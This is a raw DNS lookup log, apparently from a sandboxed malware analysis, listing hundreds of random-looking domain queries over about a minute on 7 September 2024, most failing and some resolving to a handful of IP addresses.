Sep 7, 2024 15:35:20.828151941 CEST	1.1.1.1	192.168.2.3	0x8839	Name error (3)	kikcvucesim.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:21.224745989 CEST	1.1.1.1	192.168.2.3	0xe7de	Name error (3)	kcscgoyucqmkq.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:21.238529921 CEST	1.1.1.1	192.168.2.3	0x2243	Name error (3)	kcscgoyucqmkq.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:21.389877081 CEST	1.1.1.1	192.168.2.3	0x6cad	Name error (3)	yktgacfquni.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:21.411303043 CEST	1.1.1.1	192.168.2.3	0xafd7	Name error (3)	yktgacfquni.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:22.553004980 CEST	1.1.1.1	192.168.2.3	0xaced	Name error (3)	cczqvvmimawca.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:22.553016901 CEST	1.1.1.1	192.168.2.3	0xaced	Name error (3)	cczqvvmimawca.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:22.639956951 CEST	1.1.1.1	192.168.2.3	0xface	Name error (3)	cczqvvmimawca.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:22.941900969 CEST	1.1.1.1	192.168.2.3	0xe0d2	Server failure (2)	btnmut.ph	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:22.954226017 CEST	1.1.1.1	192.168.2.3	0x38c4	No error (0)	btnmut.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:24.752096891 CEST	1.1.1.1	192.168.2.3	0x3200	Name error (3)	gdogxorcsmzygq.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:24.941601038 CEST	1.1.1.1	192.168.2.3	0xb800	Name error (3)	gdogxorcsmzygq.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:25.064930916 CEST	1.1.1.1	192.168.2.3	0xc586	Name error (3)	zmiqslgt.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:25.076303959 CEST	1.1.1.1	192.168.2.3	0xa770	Name error (3)	zmiqslgt.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:25.374572039 CEST	1.1.1.1	192.168.2.3	0x1385	Name error (3)	rivawyyqgqsd.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:25.546499014 CEST	1.1.1.1	192.168.2.3	0x62f2	Name error (3)	rivawyyqgqsd.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:25.674365044 CEST	1.1.1.1	192.168.2.3	0xddea	No error (0)	vrkofomkuzuymp.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:26.886688948 CEST	1.1.1.1	192.168.2.3	0x9522	Name error (3)	mpdiexrzqka.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:27.296308041 CEST	1.1.1.1	192.168.2.3	0x659d	Name error (3)	mpdiexrzqka.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:27.433912039 CEST	1.1.1.1	192.168.2.3	0x3d31	Name error (3)	dekso.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:27.444338083 CEST	1.1.1.1	192.168.2.3	0xdcd1	Name error (3)	dekso.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:27.629060984 CEST	1.1.1.1	192.168.2.3	0x8612	Name error (3)	nswqqljcwe.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:27.702889919 CEST	1.1.1.1	192.168.2.3	0x3b38	Name error (3)	nswqqljcwe.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:28.134618998 CEST	1.1.1.1	192.168.2.3	0xc052	Name error (3)	yxnavcmgurrhw.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:28.144972086 CEST	1.1.1.1	192.168.2.3	0x67fe	Name error (3)	yxnavcmgurrhw.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:28.282422066 CEST	1.1.1.1	192.168.2.3	0xde9	No error (0)	esdryukcayyoq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:29.457884073 CEST	1.1.1.1	192.168.2.3	0xc23a	Name error (3)	uwkmq.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:29.508593082 CEST	1.1.1.1	192.168.2.3	0x64c3	Name error (3)	uwkmq.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:29.716881037 CEST	1.1.1.1	192.168.2.3	0x44e6	Name error (3)	uwygduzzqaosv.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:30.556251049 CEST	1.1.1.1	192.168.2.3	0x9748	Name error (3)	uwygduzzqaosv.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:31.070497990 CEST	1.1.1.1	192.168.2.3	0xa201	Name error (3)	igdqs.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:31.238676071 CEST	1.1.1.1	192.168.2.3	0xb118	Name error (3)	igdqs.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:31.523809910 CEST	1.1.1.1	192.168.2.3	0x6613	Name error (3)	chafwe.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:31.879884958 CEST	1.1.1.1	192.168.2.3	0xc19c	Name error (3)	chafwe.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:32.014355898 CEST	1.1.1.1	192.168.2.3	0x87b8	No error (0)	lmmeeoyzyn.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:33.409182072 CEST	1.1.1.1	192.168.2.3	0x883a	Name error (3)	bgneigegyqofu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:33.585174084 CEST	1.1.1.1	192.168.2.3	0x2edc	Name error (3)	bgneigegyqofu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:33.709427118 CEST	1.1.1.1	192.168.2.3	0xc2e4	Name error (3)	arpjmckwt.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:33.743480921 CEST	1.1.1.1	192.168.2.3	0x6f49	Name error (3)	arpjmckwt.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:34.031811953 CEST	1.1.1.1	192.168.2.3	0x425b	Name error (3)	okocqpi.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:34.211724997 CEST	1.1.1.1	192.168.2.3	0x4c57	Name error (3)	okocqpi.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:34.659285069 CEST	1.1.1.1	192.168.2.3	0xf9e2	Name error (3)	qqemsidggcmy.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:34.824040890 CEST	1.1.1.1	192.168.2.3	0x4cfd	Name error (3)	qqemsidggcmy.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:34.980931044 CEST	1.1.1.1	192.168.2.3	0xd3d4	Name error (3)	kvdvmc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:34.990303040 CEST	1.1.1.1	192.168.2.3	0x5f60	Name error (3)	kvdvmc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:35.140320063 CEST	1.1.1.1	192.168.2.3	0x75ee	No error (0)	czcceggoa.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:36.298928022 CEST	1.1.1.1	192.168.2.3	0xeba7	Name error (3)	eimef.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:36.310324907 CEST	1.1.1.1	192.168.2.3	0xa3f5	Name error (3)	eimef.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:36.579763889 CEST	1.1.1.1	192.168.2.3	0x82c7	Name error (3)	ovonq.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:36.793348074 CEST	1.1.1.1	192.168.2.3	0xfbf9	Name error (3)	ovonq.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:37.192238092 CEST	1.1.1.1	192.168.2.3	0xe706	Name error (3)	zitfawcgy.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:37.234340906 CEST	1.1.1.1	192.168.2.3	0x9641	Name error (3)	zitfawcgy.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:37.520387888 CEST	1.1.1.1	192.168.2.3	0xcdee	Name error (3)	yiqqmjekm.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:37.690376997 CEST	1.1.1.1	192.168.2.3	0xcb40	Name error (3)	yiqqmjekm.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:37.816030025 CEST	1.1.1.1	192.168.2.3	0xeef2	Name error (3)	quzgmnyiqyqoez.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:37.831268072 CEST	1.1.1.1	192.168.2.3	0xa275	Name error (3)	quzgmnyiqyqoez.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:38.221455097 CEST	1.1.1.1	192.168.2.3	0xe849	Name error (3)	iceqeuhpebkqmj.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:38.234502077 CEST	1.1.1.1	192.168.2.3	0x600c	Name error (3)	iceqeuhpebkqmj.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:38.509557009 CEST	1.1.1.1	192.168.2.3	0x48ba	Name error (3)	iefcm.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:38.751504898 CEST	1.1.1.1	192.168.2.3	0xf4b5	Name error (3)	iefcm.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:39.144692898 CEST	1.1.1.1	192.168.2.3	0x3c2f	Name error (3)	wuduqoeivyo.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:39.170077085 CEST	1.1.1.1	192.168.2.3	0x9f6c	Name error (3)	wuduqoeivyo.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:39.284101009 CEST	1.1.1.1	192.168.2.3	0xc97	Name error (3)	wheasiwvsew.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:39.297051907 CEST	1.1.1.1	192.168.2.3	0xf448	Name error (3)	wheasiwvsew.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:39.431242943 CEST	1.1.1.1	192.168.2.3	0x6e95	No error (0)	cbgokbq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:40.773328066 CEST	1.1.1.1	192.168.2.3	0xf554	Server failure (2)	ysbgwpqywiujo.ph	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:40.789684057 CEST	1.1.1.1	192.168.2.3	0xe78f	No error (0)	ysbgwpqywiujo.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:42.483778000 CEST	1.1.1.1	192.168.2.3	0x8be0	No error (0)	lconagoqitcc.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:43.651961088 CEST	1.1.1.1	192.168.2.3	0xca7b	Name error (3)	uryaqqyx.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:43.713939905 CEST	1.1.1.1	192.168.2.3	0x43f3	Name error (3)	uryaqqyx.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:43.987298012 CEST	1.1.1.1	192.168.2.3	0x1723	Name error (3)	mdabyu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:44.151187897 CEST	1.1.1.1	192.168.2.3	0xf0e0	Name error (3)	mdabyu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:44.279098034 CEST	1.1.1.1	192.168.2.3	0xe2bc	No error (0)	zhvaaoijau.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:45.446295977 CEST	1.1.1.1	192.168.2.3	0x999a	No error (0)	fyumrag.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:46.641999006 CEST	1.1.1.1	192.168.2.3	0x644c	Name error (3)	qodpaim.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:46.657157898 CEST	1.1.1.1	192.168.2.3	0x7825	Name error (3)	qodpaim.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:46.784657955 CEST	1.1.1.1	192.168.2.3	0xffc9	Name error (3)	umoezuoxkf.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:46.809360027 CEST	1.1.1.1	192.168.2.3	0xb9b9	Name error (3)	umoezuoxkf.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:47.016809940 CEST	1.1.1.1	192.168.2.3	0x4545	Name error (3)	oxcua.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:47.117052078 CEST	1.1.1.1	192.168.2.3	0x70ea	Name error (3)	oxcua.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:47.240818977 CEST	1.1.1.1	192.168.2.3	0x55e1	No error (0)	atewnko.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:48.623827934 CEST	1.1.1.1	192.168.2.3	0xd4b6	Name error (3)	audewc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:48.729672909 CEST	1.1.1.1	192.168.2.3	0x750c	Name error (3)	audewc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:48.863001108 CEST	1.1.1.1	192.168.2.3	0x2a98	No error (0)	byamehgekaeek.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:50.035877943 CEST	1.1.1.1	192.168.2.3	0x7124	Name error (3)	iyeyuemksorve.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:50.073429108 CEST	1.1.1.1	192.168.2.3	0x6065	Name error (3)	iyeyuemksorve.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:50.435864925 CEST	1.1.1.1	192.168.2.3	0x41ca	Name error (3)	rujygesrs.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:50.598349094 CEST	1.1.1.1	192.168.2.3	0x2cec	Name error (3)	rujygesrs.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:50.736675978 CEST	1.1.1.1	192.168.2.3	0x2338	No error (0)	dcqir.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:51.882595062 CEST	1.1.1.1	192.168.2.3	0xcd25	No error (0)	csyqosocetow.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:53.206185102 CEST	1.1.1.1	192.168.2.3	0x494f	Name error (3)	qdukhasgmus.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:53.386441946 CEST	1.1.1.1	192.168.2.3	0xab4e	Name error (3)	qdukhasgmus.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:53.503581047 CEST	1.1.1.1	192.168.2.3	0x9dce	No error (0)	tsmmqmmwg.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:54.682506084 CEST	1.1.1.1	192.168.2.3	0x95b6	No error (0)	uvomuyoigeqh.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:55.857574940 CEST	1.1.1.1	192.168.2.3	0x356a	No error (0)	olmoutsceagaml.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:57.043946028 CEST	1.1.1.1	192.168.2.3	0xe6bb	Name error (3)	wfnsamu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:57.592850924 CEST	1.1.1.1	192.168.2.3	0x116f	Name error (3)	wfnsamu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:57.981156111 CEST	1.1.1.1	192.168.2.3	0x2663	Name error (3)	dqeqoagqqqrc.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:57.999941111 CEST	1.1.1.1	192.168.2.3	0xa6f1	Name error (3)	dqeqoagqqqrc.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:58.137582064 CEST	1.1.1.1	192.168.2.3	0xb917	Name error (3)	gmbcqqwly.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:58.180841923 CEST	1.1.1.1	192.168.2.3	0x80d6	Name error (3)	gmbcqqwly.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:58.617979050 CEST	1.1.1.1	192.168.2.3	0xd8f6	Name error (3)	cjzhc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:58.716079950 CEST	1.1.1.1	192.168.2.3	0x639a	Name error (3)	cjzhc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:58.923538923 CEST	1.1.1.1	192.168.2.3	0x11ad	Name error (3)	akpzumsigtkmmw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:59.035999060 CEST	1.1.1.1	192.168.2.3	0xb70a	Name error (3)	akpzumsigtkmmw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:59.166121006 CEST	1.1.1.1	192.168.2.3	0x89b5	Name error (3)	yfcalywej.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:59.189256907 CEST	1.1.1.1	192.168.2.3	0xbe88	Name error (3)	yfcalywej.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:59.314225912 CEST	1.1.1.1	192.168.2.3	0x7546	No error (0)	vmklwkrpmmi.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:00.457010984 CEST	1.1.1.1	192.168.2.3	0x6268	Name error (3)	cgengcwnm.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:00.469501972 CEST	1.1.1.1	192.168.2.3	0xdb45	Name error (3)	cgengcwnm.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:00.602508068 CEST	1.1.1.1	192.168.2.3	0x9c71	No error (0)	yiodscs.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:01.767221928 CEST	1.1.1.1	192.168.2.3	0x170d	No error (0)	wrzeolo.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:02.902554035 CEST	1.1.1.1	192.168.2.3	0xcb0d	Name error (3)	blqcoo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:03.437983990 CEST	1.1.1.1	192.168.2.3	0x49fa	Name error (3)	blqcoo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:03.568344116 CEST	1.1.1.1	192.168.2.3	0x8add	No error (0)	epjgqyk.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:04.896152020 CEST	1.1.1.1	192.168.2.3	0x7373	Name error (3)	eymkhoeguh.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:05.170227051 CEST	1.1.1.1	192.168.2.3	0xe605	Name error (3)	eymkhoeguh.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:05.300715923 CEST	1.1.1.1	192.168.2.3	0x8445	Name error (3)	gmxmotaygsg.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:05.331017971 CEST	1.1.1.1	192.168.2.3	0x3309	Name error (3)	gmxmotaygsg.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:05.483033895 CEST	1.1.1.1	192.168.2.3	0xe162	No error (0)	neupqnkgba.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:06.642498016 CEST	1.1.1.1	192.168.2.3	0x658c	No error (0)	zuvblymqiom.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:07.825192928 CEST	1.1.1.1	192.168.2.3	0x75c0	No error (0)	wegkycraooigi.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:09.134637117 CEST	1.1.1.1	192.168.2.3	0xc07b	Name error (3)	ahieeic.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:09.216677904 CEST	1.1.1.1	192.168.2.3	0x8fcb	Name error (3)	ahieeic.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:09.329889059 CEST	1.1.1.1	192.168.2.3	0x4ea3	No error (0)	owwvasibxygwtk.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:10.529978991 CEST	1.1.1.1	192.168.2.3	0xb673	Name error (3)	uutgmfehaouhp.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:10.567102909 CEST	1.1.1.1	192.168.2.3	0xa178	Name error (3)	uutgmfehaouhp.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:10.693150997 CEST	1.1.1.1	192.168.2.3	0x2d7d	Name error (3)	rmydkqgvcvhez.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:10.968910933 CEST	1.1.1.1	192.168.2.3	0x8c9f	Name error (3)	rmydkqgvcvhez.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:11.100194931 CEST	1.1.1.1	192.168.2.3	0xff5a	No error (0)	cywkjn.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:12.404941082 CEST	1.1.1.1	192.168.2.3	0x2186	Name error (3)	udelwggnpcs.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:12.617285967 CEST	1.1.1.1	192.168.2.3	0xe6f2	Name error (3)	udelwggnpcs.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:12.976216078 CEST	1.1.1.1	192.168.2.3	0x95fe	No error (0)	jwgkbq.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:14.230174065 CEST	1.1.1.1	192.168.2.3	0xcbc4	Name error (3)	hyuyvkcxdqtqwe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:14.333992958 CEST	1.1.1.1	192.168.2.3	0x101a	Name error (3)	hyuyvkcxdqtqwe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:14.489285946 CEST	1.1.1.1	192.168.2.3	0x8620	Name error (3)	mtvjuwi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:14.769686937 CEST	1.1.1.1	192.168.2.3	0xc10a	Name error (3)	mtvjuwi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:14.916733980 CEST	1.1.1.1	192.168.2.3	0xb793	No error (0)	gurlwrqpctlkiu.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:16.260149002 CEST	1.1.1.1	192.168.2.3	0x2351	Name error (3)	owayaiofn.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:16.269670963 CEST	1.1.1.1	192.168.2.3	0x31ea	Name error (3)	owayaiofn.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:16.896028042 CEST	1.1.1.1	192.168.2.3	0x31e1	Name error (3)	elymkl.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:16.915381908 CEST	1.1.1.1	192.168.2.3	0x8dd1	Name error (3)	elymkl.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:17.051178932 CEST	1.1.1.1	192.168.2.3	0xf79	Name error (3)	xrkwbwyqovesj.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:17.090605974 CEST	1.1.1.1	192.168.2.3	0x446	Name error (3)	xrkwbwyqovesj.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:17.410718918 CEST	1.1.1.1	192.168.2.3	0x77e	Name error (3)	jwimhacdt.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:17.681293964 CEST	1.1.1.1	192.168.2.3	0x9f3e	Name error (3)	jwimhacdt.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:17.891221046 CEST	1.1.1.1	192.168.2.3	0x48fe	Name error (3)	oymyeynqyqewcs.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:17.903261900 CEST	1.1.1.1	192.168.2.3	0x4380	Name error (3)	oymyeynqyqewcs.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:19.125050068 CEST	1.1.1.1	192.168.2.3	0x1d49	Name error (3)	qsqwieaqy.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:19.355302095 CEST	1.1.1.1	192.168.2.3	0x1d49	Name error (3)	qsqwieaqy.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:19.367296934 CEST	1.1.1.1	192.168.2.3	0xa770	Name error (3)	qsqwieaqy.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:19.491149902 CEST	1.1.1.1	192.168.2.3	0x44a1	Name error (3)	oukpcbtqgqwoa.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:19.527903080 CEST	1.1.1.1	192.168.2.3	0x82b3	Name error (3)	oukpcbtqgqwoa.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:19.883846998 CEST	1.1.1.1	192.168.2.3	0x5274	No error (0)	orhwyostw.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:21.063357115 CEST	1.1.1.1	192.168.2.3	0x771a	Name error (3)	ylmed.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:21.235018969 CEST	1.1.1.1	192.168.2.3	0xb411	Name error (3)	ylmed.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:21.448143005 CEST	1.1.1.1	192.168.2.3	0xf128	Name error (3)	pdrwqa.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:21.458142042 CEST	1.1.1.1	192.168.2.3	0x5e5c	Name error (3)	pdrwqa.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:21.581357002 CEST	1.1.1.1	192.168.2.3	0xf9f0	No error (0)	wiwip.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:22.923945904 CEST	1.1.1.1	192.168.2.3	0x47b1	No error (0)	iware.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:24.234649897 CEST	1.1.1.1	192.168.2.3	0x8989	No error (0)	ivoskdmxlinnf.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:25.579695940 CEST	1.1.1.1	192.168.2.3	0xa910	Name error (3)	sgfpiiwog.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:25.592879057 CEST	1.1.1.1	192.168.2.3	0x5b62	Name error (3)	sgfpiiwog.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:25.869071007 CEST	1.1.1.1	192.168.2.3	0xa059	Name error (3)	mcesyrpjcoxcu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:26.679380894 CEST	1.1.1.1	192.168.2.3	0xc1d7	No error (0)	qatewn.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:27.986207962 CEST	1.1.1.1	192.168.2.3	0xf53a	Name error (3)	mnaudewcuibyam.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:28.161650896 CEST	1.1.1.1	192.168.2.3	0x9a44	Name error (3)	mnaudewcuibyam.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:28.282345057 CEST	1.1.1.1	192.168.2.3	0xc392	Name error (3)	gekaeekv.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:28.317513943 CEST	1.1.1.1	192.168.2.3	0xe8f7	Name error (3)	gekaeekv.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:28.446628094 CEST	1.1.1.1	192.168.2.3	0x445e	Name error (3)	iyeyuemksorve.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:28.483812094 CEST	1.1.1.1	192.168.2.3	0x7952	Name error (3)	iyeyuemksorve.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:28.836581945 CEST	1.1.1.1	192.168.2.3	0xf87e	Name error (3)	rujygesrs.tk	none	none	A (IP address)	IN (0x0001)	false
